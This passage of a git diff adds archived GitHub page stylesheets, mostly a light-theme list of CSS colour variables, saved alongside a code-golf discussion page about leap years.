var(--border-alpha))}}.signed-commit-badge-small,.signed-commit-badge-medium,.signed-commit-badge-large{display:inline-block;padding:0 7px;font-size:12px;font-weight:500;line-height:18px;white-space:nowrap;border:1px solid transparent;border-radius:2em;border-color:var(--color-border-default)}.signed-commit-badge-small{margin-top:0}.signed-commit-badge-large{padding-right:10px;padding-left:10px;line-height:22px}.topic-tag-action,.delete-topic-button,.topic-tag{display:inline-block;padding:0 7px;font-size:12px;font-weight:500;line-height:18px;white-space:nowrap;border:1px solid transparent;border-radius:2em;padding-right:10px;padding-left:10px;line-height:22px;color:var(--color-accent-fg);background-color:var(--color-accent-subtle);border:1px solid var(--color-topic-tag-border, transparent)}.topic-tag-action:active,.topic-tag-action:hover,.delete-topic-button:active,.delete-topic-button:hover,.topic-tag:active,.topic-tag:hover{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.topic-tag{margin:0 .125em .333em 0}.topic-tag-outline{background:transparent}.topic-tag-action{display:inline-flex;padding-right:0;margin:.6em .5em 0 0}.delete-topic-button,.topic-tag-action .add-topic-button,.topic-tag-action .remove-topic-button{display:flex;width:24px;height:24px;padding:0;color:inherit;border-color:transparent;border-left:0;border-radius:2em;align-items:center;justify-content:center}.hx_Layout.hx_Layout--sidebar-hidden{grid-auto-flow:row;grid-template-columns:1fr !important}.hx_Layout.hx_Layout--sidebar-hidden .Layout-sidebar,.hx_Layout.hx_Layout--sidebar-hidden .Layout-divider,.hx_Layout.hx_Layout--sidebar-hidden .Layout-main{width:100% !important;grid-column:1 !important}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-start .Layout-sidebar{grid-row:1}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-start .Layout-main{grid-row:2/span 2}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:2/span 2}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-none .Layout-sidebar{display:none}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided{--Layout-gutter: 0}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided .Layout-divider{height:1px;grid-row:2}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided .Layout-divider.Layout-divider--flowRow-hidden{display:none}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided .Layout-divider.Layout-divider--flowRow-shallow{height:8px;margin-right:0;background:var(--color-canvas-inset);border-color:var(--color-border-default);border-style:solid;border-width:1px 0}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided .Layout-main{grid-row:3/span 1}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:3/span 1}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.hx_Layout--sidebar{top:60px;box-sizing:border-box;overscroll-behavior:contain}.branch-action-item.color-border-default{border-color:var(--color-border-default) !important}.user-status-container .input-group-button .btn{height:32px}.reponav-item,.pagehead-tabs-item{border-radius:4px 4px 0 0}.reponav-item.selected,.pagehead-tabs-item.selected{border-top-color:#f9826c}.auto-search-group>.octicon{top:8px}.subnav-search>button.mt-2{margin-top:6px !important}.completeness-indicator-success{color:var(--color-fg-on-emphasis);background-color:var(--color-btn-primary-bg)}.pagination-loader-container button.color-bg-default.border-0{border-top-left-radius:6px;border-top-right-radius:6px}.avatar-user{border-radius:50% !important}@media(max-width: 543px){.minimized-comment>details>div{padding-left:0 !important}}@media(max-width: 543px){.minimized-comment>details>summary>div{flex-direction:column}.minimized-comment>details>summary>div .review-comment-contents{align-left:flex-start}}.hx_disabled-input{margin-right:-4px !important;margin-left:-4px !important}.hx_disabled-input sidebar-memex-input[disabled]:not(.no-pointer) *{cursor:pointer}.hx_disabled-input sidebar-memex-input:not([disabled]) .Box-row--hover-gray{background-color:var(--color-canvas-subtle)}.hx_disabled-input .Box-row--hover-gray svg.octicon-pencil{visibility:hidden;opacity:0}.hx_disabled-input .Box-row--hover-gray:hover,.hx_disabled-input .Box-row--hover-gray:focus{padding-top:8px !important;padding-bottom:8px !important}.hx_disabled-input .Box-row--hover-gray:hover svg.octicon-pencil,.hx_disabled-input .Box-row--hover-gray:focus svg.octicon-pencil{visibility:visible;opacity:1}.hx_disabled-input input:not(:disabled){margin-top:8px !important;margin-bottom:8px !important}.hx_disabled-input input[disabled],.hx_disabled-input select[disabled],.hx_disabled-input .form-control[contenteditable=false]{padding-right:0;padding-left:0;margin-right:0;color:var(--color-fg-default) !important;background:transparent;border:0;box-shadow:none;opacity:1}.hx_disabled-input text-expander input[type=text][disabled]{display:none}.hx_disabled-input text-expander input[type=text][disabled]+div.form-control{display:block}.hx_disabled-input text-expander input[type=text]+div.form-control{display:none}.hx_disabled-input input[type=date][disabled]{display:none}.hx_disabled-input input[type=date][disabled]+div.form-control{display:block}.hx_disabled-input input[type=date]+div.form-control{display:none}.hx_disabled-input input[disabled]::placeholder,.hx_disabled-input selected[disabled]::placeholder{color:var(--color-fg-default) !important}.hx_disabled-input .form-select{background-image:none !important}.hx_disabled-input .Box-row--focus-gray:focus{background:var(--color-canvas-subtle)}.summary-iteration .inline-status{display:none}.summary-iteration .block-status{display:inline-block}.list-iteration .inline-status{display:inline}.list-iteration .block-status{display:none}.hx_tabnav-in-dropdown{border-radius:5px 5px 0 0}.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:first-child .tabnav-tab.selected,.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:first-child .tabnav-tab[aria-selected=true],.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:first-child .tabnav-tab[aria-current]:not([aria-current=false]){border-left:0}.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:last-child .tabnav-tab.selected,.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:last-child .tabnav-tab[aria-selected=true],.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:last-child .tabnav-tab[aria-current]:not([aria-current=false]){border-right:0}.hx_tabnav-in-dropdown .tabnav-tab.selected,.hx_tabnav-in-dropdown .tabnav-tab[aria-selected=true],.hx_tabnav-in-dropdown .tabnav-tab[aria-current]:not([aria-current=false]){margin-top:-1px;background-color:var(--color-canvas-overlay)}.hx_tabnav-in-dropdown #cloud-tab[aria-selected=false]::after{position:absolute;top:-14px;right:10px;left:auto;z-index:10;display:inline-block;content:"";border:7px solid transparent;border-bottom:7px solid var(--color-canvas-subtle)}.details-overlay-dark[open]>summary::before{z-index:111 !important}.turbo-progress-bar{z-index:2147483647}.timeline-comment .previewable-comment-form textarea{max-height:none} + +/*# sourceMappingURL=global-0d69ca7f0327.css.map*/ \ No newline at end of file diff --git a/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/light-92c7d381038e.css b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/light-92c7d381038e.css new file mode 100644 index 0000000..044e8a7 --- /dev/null +++ b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/light-92c7d381038e.css @@ -0,0 +1,3 @@ +:root,[data-color-mode=light][data-light-theme=light],[data-color-mode=dark][data-dark-theme=light]{/*! */}:root,[data-color-mode=light][data-light-theme=light],[data-color-mode=dark][data-dark-theme=light]{--color-canvas-default-transparent: rgba(255,255,255,0);--color-page-header-bg: #f6f8fa;--color-marketing-icon-primary: #218bff;--color-marketing-icon-secondary: #54aeff;--color-diff-blob-addition-num-text: #24292f;--color-diff-blob-addition-fg: #24292f;--color-diff-blob-addition-num-bg: #CCFFD8;--color-diff-blob-addition-line-bg: #E6FFEC;--color-diff-blob-addition-word-bg: #ABF2BC;--color-diff-blob-deletion-num-text: #24292f;--color-diff-blob-deletion-fg: #24292f;--color-diff-blob-deletion-num-bg: #FFD7D5;--color-diff-blob-deletion-line-bg: #FFEBE9;--color-diff-blob-deletion-word-bg: rgba(255,129,130,0.4);--color-diff-blob-hunk-num-bg: rgba(84,174,255,0.4);--color-diff-blob-expander-icon: #57606a;--color-diff-blob-selected-line-highlight-mix-blend-mode: multiply;--color-diffstat-deletion-border: rgba(27,31,36,0.15);--color-diffstat-addition-border: rgba(27,31,36,0.15);--color-diffstat-addition-bg: #2da44e;--color-search-keyword-hl: #fff8c5;--color-prettylights-syntax-comment: #6e7781;--color-prettylights-syntax-constant: #0550ae;--color-prettylights-syntax-entity: #8250df;--color-prettylights-syntax-storage-modifier-import: #24292f;--color-prettylights-syntax-entity-tag: #116329;--color-prettylights-syntax-keyword: #cf222e;--color-prettylights-syntax-string: #0a3069;--color-prettylights-syntax-variable: #953800;--color-prettylights-syntax-brackethighlighter-unmatched: #82071e;--color-prettylights-syntax-invalid-illegal-text: #f6f8fa;--color-prettylights-syntax-invalid-illegal-bg: #82071e;--color-prettylights-syntax-carriage-return-text: #f6f8fa;--color-prettylights-syntax-carriage-return-bg: #cf222e;--color-prettylights-syntax-string-regexp: #116329;--color-prettylights-syntax-markup-list: #3b2300;--color-prettylights-syntax-markup-heading: #0550ae;--color-prettylights-syntax-markup-italic: #24292f;--color-prettylights-syntax-markup-bold: #24292f;--color-prettylights-syntax-markup-deleted-text: #82071e;--color-prettylights-syntax-markup-deleted-bg: #FFEBE9;--color-prettylights-syntax-markup-inserted-text: #116329;--color-prettylights-syntax-markup-inserted-bg: #dafbe1;--color-prettylights-syntax-markup-changed-text: #953800;--color-prettylights-syntax-markup-changed-bg: #ffd8b5;--color-prettylights-syntax-markup-ignored-text: #eaeef2;--color-prettylights-syntax-markup-ignored-bg: #0550ae;--color-prettylights-syntax-meta-diff-range: #8250df;--color-prettylights-syntax-brackethighlighter-angle: #57606a;--color-prettylights-syntax-sublimelinter-gutter-mark: #8c959f;--color-prettylights-syntax-constant-other-reference-link: #0a3069;--color-codemirror-text: #24292f;--color-codemirror-bg: #ffffff;--color-codemirror-gutters-bg: #ffffff;--color-codemirror-guttermarker-text: #ffffff;--color-codemirror-guttermarker-subtle-text: #6e7781;--color-codemirror-linenumber-text: #57606a;--color-codemirror-cursor: #24292f;--color-codemirror-selection-bg: rgba(84,174,255,0.4);--color-codemirror-activeline-bg: rgba(234,238,242,0.5);--color-codemirror-matchingbracket-text: #24292f;--color-codemirror-lines-bg: #ffffff;--color-codemirror-syntax-comment: #24292f;--color-codemirror-syntax-constant: #0550ae;--color-codemirror-syntax-entity: #8250df;--color-codemirror-syntax-keyword: #cf222e;--color-codemirror-syntax-storage: #cf222e;--color-codemirror-syntax-string: #0a3069;--color-codemirror-syntax-support: #0550ae;--color-codemirror-syntax-variable: #953800;--color-checks-bg: #24292f;--color-checks-run-border-width: 0px;--color-checks-container-border-width: 0px;--color-checks-text-primary: #f6f8fa;--color-checks-text-secondary: #8c959f;--color-checks-text-link: #54aeff;--color-checks-btn-icon: #afb8c1;--color-checks-btn-hover-icon: #f6f8fa;--color-checks-btn-hover-bg: rgba(255,255,255,0.125);--color-checks-input-text: #eaeef2;--color-checks-input-placeholder-text: #8c959f;--color-checks-input-focus-text: #8c959f;--color-checks-input-bg: #32383f;--color-checks-input-shadow: none;--color-checks-donut-error: #fa4549;--color-checks-donut-pending: #bf8700;--color-checks-donut-success: #2da44e;--color-checks-donut-neutral: #afb8c1;--color-checks-dropdown-text: #afb8c1;--color-checks-dropdown-bg: #32383f;--color-checks-dropdown-border: #424a53;--color-checks-dropdown-shadow: rgba(27,31,36,0.3);--color-checks-dropdown-hover-text: #f6f8fa;--color-checks-dropdown-hover-bg: #424a53;--color-checks-dropdown-btn-hover-text: #f6f8fa;--color-checks-dropdown-btn-hover-bg: #32383f;--color-checks-scrollbar-thumb-bg: #57606a;--color-checks-header-label-text: #d0d7de;--color-checks-header-label-open-text: #f6f8fa;--color-checks-header-border: #32383f;--color-checks-header-icon: #8c959f;--color-checks-line-text: #d0d7de;--color-checks-line-num-text: rgba(140,149,159,0.75);--color-checks-line-timestamp-text: #8c959f;--color-checks-line-hover-bg: #32383f;--color-checks-line-selected-bg: rgba(33,139,255,0.15);--color-checks-line-selected-num-text: #54aeff;--color-checks-line-dt-fm-text: #24292f;--color-checks-line-dt-fm-bg: #9a6700;--color-checks-gate-bg: rgba(125,78,0,0.15);--color-checks-gate-text: #d0d7de;--color-checks-gate-waiting-text: #d4a72c;--color-checks-step-header-open-bg: #32383f;--color-checks-step-error-text: #ff8182;--color-checks-step-warning-text: #d4a72c;--color-checks-logline-text: #8c959f;--color-checks-logline-num-text: rgba(140,149,159,0.75);--color-checks-logline-debug-text: #c297ff;--color-checks-logline-error-text: #d0d7de;--color-checks-logline-error-num-text: #ff8182;--color-checks-logline-error-bg: rgba(164,14,38,0.15);--color-checks-logline-warning-text: #d0d7de;--color-checks-logline-warning-num-text: #d4a72c;--color-checks-logline-warning-bg: rgba(125,78,0,0.15);--color-checks-logline-command-text: #54aeff;--color-checks-logline-section-text: #4ac26b;--color-checks-ansi-black: #24292f;--color-checks-ansi-black-bright: #32383f;--color-checks-ansi-white: #d0d7de;--color-checks-ansi-white-bright: #d0d7de;--color-checks-ansi-gray: #8c959f;--color-checks-ansi-red: #ff8182;--color-checks-ansi-red-bright: #ffaba8;--color-checks-ansi-green: #4ac26b;--color-checks-ansi-green-bright: #6fdd8b;--color-checks-ansi-yellow: #d4a72c;--color-checks-ansi-yellow-bright: #eac54f;--color-checks-ansi-blue: #54aeff;--color-checks-ansi-blue-bright: #80ccff;--color-checks-ansi-magenta: #c297ff;--color-checks-ansi-magenta-bright: #d8b9ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #24292f;--color-project-sidebar-bg: #ffffff;--color-project-gradient-in: #ffffff;--color-project-gradient-out: rgba(255,255,255,0);--color-mktg-btn-bg: #1b1f23;--color-mktg-btn-shadow-outline: rgb(0 0 0 / 15%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(0 0 0 / 15%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 3px 2px rgba(0, 0, 0, 0.07), 0 7px 5px rgba(0, 0, 0, 0.04), 0 12px 10px rgba(0, 0, 0, 0.03), 0 22px 18px rgba(0, 0, 0, 0.03), 0 42px 33px rgba(0, 0, 0, 0.02), 0 100px 80px rgba(0, 0, 0, 0.02);--color-mktg-btn-shadow-hover-muted: rgb(0 0 0 / 70%) 0 0 0 2px inset;--color-avatar-bg: #ffffff;--color-avatar-border: rgba(27,31,36,0.15);--color-avatar-stack-fade: #afb8c1;--color-avatar-stack-fade-more: #d0d7de;--color-avatar-child-shadow: -2px -2px 0 rgba(255,255,255,0.8);--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: rgba(0,0,0,0);--color-select-menu-tap-highlight: rgba(175,184,193,0.5);--color-select-menu-tap-focus-bg: #b6e3ff;--color-overlay-shadow: 0 1px 3px rgba(27,31,36,0.12), 0 8px 24px rgba(66,74,83,0.12);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #24292f;--color-header-divider: #57606a;--color-header-logo: #ffffff;--color-header-search-bg: #24292f;--color-header-search-border: #57606a;--color-sidenav-selected-bg: #ffffff;--color-menu-bg-active: rgba(0,0,0,0);--color-input-disabled-bg: rgba(175,184,193,0.2);--color-timeline-badge-bg: #eaeef2;--color-ansi-black: #24292f;--color-ansi-black-bright: #57606a;--color-ansi-white: #6e7781;--color-ansi-white-bright: #8c959f;--color-ansi-gray: #6e7781;--color-ansi-red: #cf222e;--color-ansi-red-bright: #a40e26;--color-ansi-green: #116329;--color-ansi-green-bright: #1a7f37;--color-ansi-yellow: #4d2d00;--color-ansi-yellow-bright: #633c01;--color-ansi-blue: #0969da;--color-ansi-blue-bright: #218bff;--color-ansi-magenta: #8250df;--color-ansi-magenta-bright: #a475f9;--color-ansi-cyan: #1b7c83;--color-ansi-cyan-bright: #3192aa;--color-btn-text: #24292f;--color-btn-bg: #f6f8fa;--color-btn-border: rgba(27,31,36,0.15);--color-btn-shadow: 0 1px 0 rgba(27,31,36,0.04);--color-btn-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.25);--color-btn-hover-bg: #f3f4f6;--color-btn-hover-border: rgba(27,31,36,0.15);--color-btn-active-bg: hsla(220,14%,93%,1);--color-btn-active-border: rgba(27,31,36,0.15);--color-btn-selected-bg: hsla(220,14%,94%,1);--color-btn-focus-bg: #f6f8fa;--color-btn-focus-border: rgba(27,31,36,0.15);--color-btn-focus-shadow: 0 0 0 3px rgba(9,105,218,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(27,31,36,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(9,105,218,0.3);--color-btn-counter-bg: rgba(27,31,36,0.08);--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #2da44e;--color-btn-primary-border: rgba(27,31,36,0.15);--color-btn-primary-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-primary-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-primary-hover-bg: #2c974b;--color-btn-primary-hover-border: rgba(27,31,36,0.15);--color-btn-primary-selected-bg: hsla(137,55%,36%,1);--color-btn-primary-selected-shadow: inset 0 1px 0 rgba(0,45,17,0.2);--color-btn-primary-disabled-text: rgba(255,255,255,0.8);--color-btn-primary-disabled-bg: #94d3a2;--color-btn-primary-disabled-border: rgba(27,31,36,0.15);--color-btn-primary-focus-bg: #2da44e;--color-btn-primary-focus-border: rgba(27,31,36,0.15);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(45,164,78,0.4);--color-btn-primary-icon: rgba(255,255,255,0.8);--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #0969da;--color-btn-outline-hover-text: #ffffff;--color-btn-outline-hover-bg: #0969da;--color-btn-outline-hover-border: rgba(27,31,36,0.15);--color-btn-outline-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: hsla(212,92%,42%,1);--color-btn-outline-selected-border: rgba(27,31,36,0.15);--color-btn-outline-selected-shadow: inset 0 1px 0 rgba(0,33,85,0.2);--color-btn-outline-disabled-text: rgba(9,105,218,0.5);--color-btn-outline-disabled-bg: #f6f8fa;--color-btn-outline-disabled-counter-bg: rgba(9,105,218,0.05);--color-btn-outline-focus-border: rgba(27,31,36,0.15);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(5,80,174,0.4);--color-btn-outline-counter-bg: rgba(9,105,218,0.1);--color-btn-danger-text: #cf222e;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #a40e26;--color-btn-danger-hover-border: rgba(27,31,36,0.15);--color-btn-danger-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-danger-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: hsla(356,72%,44%,1);--color-btn-danger-selected-border: rgba(27,31,36,0.15);--color-btn-danger-selected-shadow: inset 0 1px 0 rgba(76,0,20,0.2);--color-btn-danger-disabled-text: rgba(207,34,46,0.5);--color-btn-danger-disabled-bg: #f6f8fa;--color-btn-danger-disabled-counter-bg: rgba(207,34,46,0.05);--color-btn-danger-focus-border: rgba(27,31,36,0.15);--color-btn-danger-focus-shadow: 0 0 0 3px rgba(164,14,38,0.4);--color-btn-danger-counter-bg: rgba(207,34,46,0.1);--color-btn-danger-icon: #cf222e;--color-btn-danger-hover-icon: #ffffff;--color-underlinenav-icon: #6e7781;--color-underlinenav-border-hover: rgba(175,184,193,0.2);--color-action-list-item-inline-divider: rgba(208,215,222,0.48);--color-action-list-item-default-hover-bg: rgba(208,215,222,0.32);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(208,215,222,0.48);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(208,215,222,0.24);--color-action-list-item-danger-hover-bg: rgba(255,235,233,0.64);--color-action-list-item-danger-active-bg: #FFEBE9;--color-action-list-item-danger-hover-text: #cf222e;--color-switch-track-bg: #eaeef2;--color-switch-track-border: #afb8c1;--color-switch-track-checked-bg: #ddf4ff;--color-switch-track-checked-hover-bg: #b6e3ff;--color-switch-track-checked-active-bg: #80ccff;--color-switch-track-checked-border: #54aeff;--color-switch-knob-checked-bg: #0969da;--color-switch-knob-checked-disabled-bg: #6e7781;--color-fg-default: #24292f;--color-fg-muted: #57606a;--color-fg-subtle: #6e7781;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #ffffff;--color-canvas-overlay: #ffffff;--color-canvas-inset: #f6f8fa;--color-canvas-subtle: #f6f8fa;--color-border-default: #d0d7de;--color-border-muted: hsla(210,18%,87%,1);--color-border-subtle: rgba(27,31,36,0.15);--color-shadow-small: 0 1px 0 rgba(27,31,36,0.04);--color-shadow-medium: 0 3px 6px rgba(140,149,159,0.15);--color-shadow-large: 0 8px 24px rgba(140,149,159,0.2);--color-shadow-extra-large: 0 12px 28px rgba(140,149,159,0.3);--color-neutral-emphasis-plus: #24292f;--color-neutral-emphasis: #6e7781;--color-neutral-muted: rgba(175,184,193,0.2);--color-neutral-subtle: rgba(234,238,242,0.5);--color-accent-fg: #0969da;--color-accent-emphasis: #0969da;--color-accent-muted: rgba(84,174,255,0.4);--color-accent-subtle: #ddf4ff;--color-success-fg: #1a7f37;--color-success-emphasis: #2da44e;--color-success-muted: rgba(74,194,107,0.4);--color-success-subtle: #dafbe1;--color-attention-fg: #9a6700;--color-attention-emphasis: #bf8700;--color-attention-muted: rgba(212,167,44,0.4);--color-attention-subtle: #fff8c5;--color-severe-fg: #bc4c00;--color-severe-emphasis: #bc4c00;--color-severe-muted: rgba(251,143,68,0.4);--color-severe-subtle: #fff1e5;--color-danger-fg: #cf222e;--color-danger-emphasis: #cf222e;--color-danger-muted: rgba(255,129,130,0.4);--color-danger-subtle: #FFEBE9;--color-open-fg: #1a7f37;--color-open-emphasis: #2da44e;--color-open-muted: rgba(74,194,107,0.4);--color-open-subtle: #dafbe1;--color-closed-fg: #cf222e;--color-closed-emphasis: #cf222e;--color-closed-muted: rgba(255,129,130,0.4);--color-closed-subtle: #FFEBE9;--color-done-fg: #8250df;--color-done-emphasis: #8250df;--color-done-muted: rgba(194,151,255,0.4);--color-done-subtle: #fbefff;--color-sponsors-fg: #bf3989;--color-sponsors-emphasis: #bf3989;--color-sponsors-muted: rgba(255,128,200,0.4);--color-sponsors-subtle: #ffeff7;--color-primer-fg-disabled: #8c959f;--color-primer-canvas-backdrop: rgba(27,31,36,0.5);--color-primer-canvas-sticky: rgba(255,255,255,0.95);--color-primer-border-active: #FD8C73;--color-primer-border-contrast: rgba(27,31,36,0.1);--color-primer-shadow-highlight: inset 0 1px 0 rgba(255,255,255,0.25);--color-primer-shadow-inset: inset 0 1px 0 rgba(208,215,222,0.2);--color-primer-shadow-focus: 0 0 0 3px rgba(9,105,218,0.3);--color-scale-black: #1b1f24;--color-scale-white: #ffffff;--color-scale-gray-0: #f6f8fa;--color-scale-gray-1: #eaeef2;--color-scale-gray-2: #d0d7de;--color-scale-gray-3: #afb8c1;--color-scale-gray-4: #8c959f;--color-scale-gray-5: #6e7781;--color-scale-gray-6: #57606a;--color-scale-gray-7: #424a53;--color-scale-gray-8: #32383f;--color-scale-gray-9: #24292f;--color-scale-blue-0: #ddf4ff;--color-scale-blue-1: #b6e3ff;--color-scale-blue-2: #80ccff;--color-scale-blue-3: #54aeff;--color-scale-blue-4: #218bff;--color-scale-blue-5: #0969da;--color-scale-blue-6: #0550ae;--color-scale-blue-7: #033d8b;--color-scale-blue-8: #0a3069;--color-scale-blue-9: #002155;--color-scale-green-0: #dafbe1;--color-scale-green-1: #aceebb;--color-scale-green-2: #6fdd8b;--color-scale-green-3: #4ac26b;--color-scale-green-4: #2da44e;--color-scale-green-5: #1a7f37;--color-scale-green-6: #116329;--color-scale-green-7: #044f1e;--color-scale-green-8: #003d16;--color-scale-green-9: #002d11;--color-scale-yellow-0: #fff8c5;--color-scale-yellow-1: #fae17d;--color-scale-yellow-2: #eac54f;--color-scale-yellow-3: #d4a72c;--color-scale-yellow-4: #bf8700;--color-scale-yellow-5: #9a6700;--color-scale-yellow-6: #7d4e00;--color-scale-yellow-7: #633c01;--color-scale-yellow-8: #4d2d00;--color-scale-yellow-9: #3b2300;--color-scale-orange-0: #fff1e5;--color-scale-orange-1: #ffd8b5;--color-scale-orange-2: #ffb77c;--color-scale-orange-3: #fb8f44;--color-scale-orange-4: #e16f24;--color-scale-orange-5: #bc4c00;--color-scale-orange-6: #953800;--color-scale-orange-7: #762c00;--color-scale-orange-8: #5c2200;--color-scale-orange-9: #471700;--color-scale-red-0: #FFEBE9;--color-scale-red-1: #ffcecb;--color-scale-red-2: #ffaba8;--color-scale-red-3: #ff8182;--color-scale-red-4: #fa4549;--color-scale-red-5: #cf222e;--color-scale-red-6: #a40e26;--color-scale-red-7: #82071e;--color-scale-red-8: #660018;--color-scale-red-9: #4c0014;--color-scale-purple-0: #fbefff;--color-scale-purple-1: #ecd8ff;--color-scale-purple-2: #d8b9ff;--color-scale-purple-3: #c297ff;--color-scale-purple-4: #a475f9;--color-scale-purple-5: #8250df;--color-scale-purple-6: #6639ba;--color-scale-purple-7: #512a97;--color-scale-purple-8: #3e1f79;--color-scale-purple-9: #2e1461;--color-scale-pink-0: #ffeff7;--color-scale-pink-1: #ffd3eb;--color-scale-pink-2: #ffadda;--color-scale-pink-3: #ff80c8;--color-scale-pink-4: #e85aad;--color-scale-pink-5: #bf3989;--color-scale-pink-6: #99286e;--color-scale-pink-7: #772057;--color-scale-pink-8: #611347;--color-scale-pink-9: #4d0336;--color-scale-coral-0: #FFF0EB;--color-scale-coral-1: #FFD6CC;--color-scale-coral-2: #FFB4A1;--color-scale-coral-3: #FD8C73;--color-scale-coral-4: #EC6547;--color-scale-coral-5: #C4432B;--color-scale-coral-6: #9E2F1C;--color-scale-coral-7: #801F0F;--color-scale-coral-8: #691105;--color-scale-coral-9: #510901}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme=light]{--color-canvas-default-transparent: rgba(255,255,255,0);--color-page-header-bg: #f6f8fa;--color-marketing-icon-primary: #218bff;--color-marketing-icon-secondary: #54aeff;--color-diff-blob-addition-num-text: #24292f;--color-diff-blob-addition-fg: #24292f;--color-diff-blob-addition-num-bg: #CCFFD8;--color-diff-blob-addition-line-bg: #E6FFEC;--color-diff-blob-addition-word-bg: #ABF2BC;--color-diff-blob-deletion-num-text: #24292f;--color-diff-blob-deletion-fg: #24292f;--color-diff-blob-deletion-num-bg: #FFD7D5;--color-diff-blob-deletion-line-bg: #FFEBE9;--color-diff-blob-deletion-word-bg: rgba(255,129,130,0.4);--color-diff-blob-hunk-num-bg: rgba(84,174,255,0.4);--color-diff-blob-expander-icon: #57606a;--color-diff-blob-selected-line-highlight-mix-blend-mode: multiply;--color-diffstat-deletion-border: rgba(27,31,36,0.15);--color-diffstat-addition-border: rgba(27,31,36,0.15);--color-diffstat-addition-bg: #2da44e;--color-search-keyword-hl: #fff8c5;--color-prettylights-syntax-comment: #6e7781;--color-prettylights-syntax-constant: #0550ae;--color-prettylights-syntax-entity: #8250df;--color-prettylights-syntax-storage-modifier-import: #24292f;--color-prettylights-syntax-entity-tag: #116329;--color-prettylights-syntax-keyword: #cf222e;--color-prettylights-syntax-string: #0a3069;--color-prettylights-syntax-variable: #953800;--color-prettylights-syntax-brackethighlighter-unmatched: #82071e;--color-prettylights-syntax-invalid-illegal-text: #f6f8fa;--color-prettylights-syntax-invalid-illegal-bg: #82071e;--color-prettylights-syntax-carriage-return-text: #f6f8fa;--color-prettylights-syntax-carriage-return-bg: #cf222e;--color-prettylights-syntax-string-regexp: #116329;--color-prettylights-syntax-markup-list: #3b2300;--color-prettylights-syntax-markup-heading: #0550ae;--color-prettylights-syntax-markup-italic: #24292f;--color-prettylights-syntax-markup-bold: #24292f;--color-prettylights-syntax-markup-deleted-text: #82071e;--color-prettylights-syntax-markup-deleted-bg: #FFEBE9;--color-prettylights-syntax-markup-inserted-text: #116329;--color-prettylights-syntax-markup-inserted-bg: #dafbe1;--color-prettylights-syntax-markup-changed-text: #953800;--color-prettylights-syntax-markup-changed-bg: #ffd8b5;--color-prettylights-syntax-markup-ignored-text: #eaeef2;--color-prettylights-syntax-markup-ignored-bg: #0550ae;--color-prettylights-syntax-meta-diff-range: #8250df;--color-prettylights-syntax-brackethighlighter-angle: #57606a;--color-prettylights-syntax-sublimelinter-gutter-mark: #8c959f;--color-prettylights-syntax-constant-other-reference-link: #0a3069;--color-codemirror-text: #24292f;--color-codemirror-bg: #ffffff;--color-codemirror-gutters-bg: #ffffff;--color-codemirror-guttermarker-text: #ffffff;--color-codemirror-guttermarker-subtle-text: #6e7781;--color-codemirror-linenumber-text: #57606a;--color-codemirror-cursor: #24292f;--color-codemirror-selection-bg: rgba(84,174,255,0.4);--color-codemirror-activeline-bg: rgba(234,238,242,0.5);--color-codemirror-matchingbracket-text: #24292f;--color-codemirror-lines-bg: #ffffff;--color-codemirror-syntax-comment: 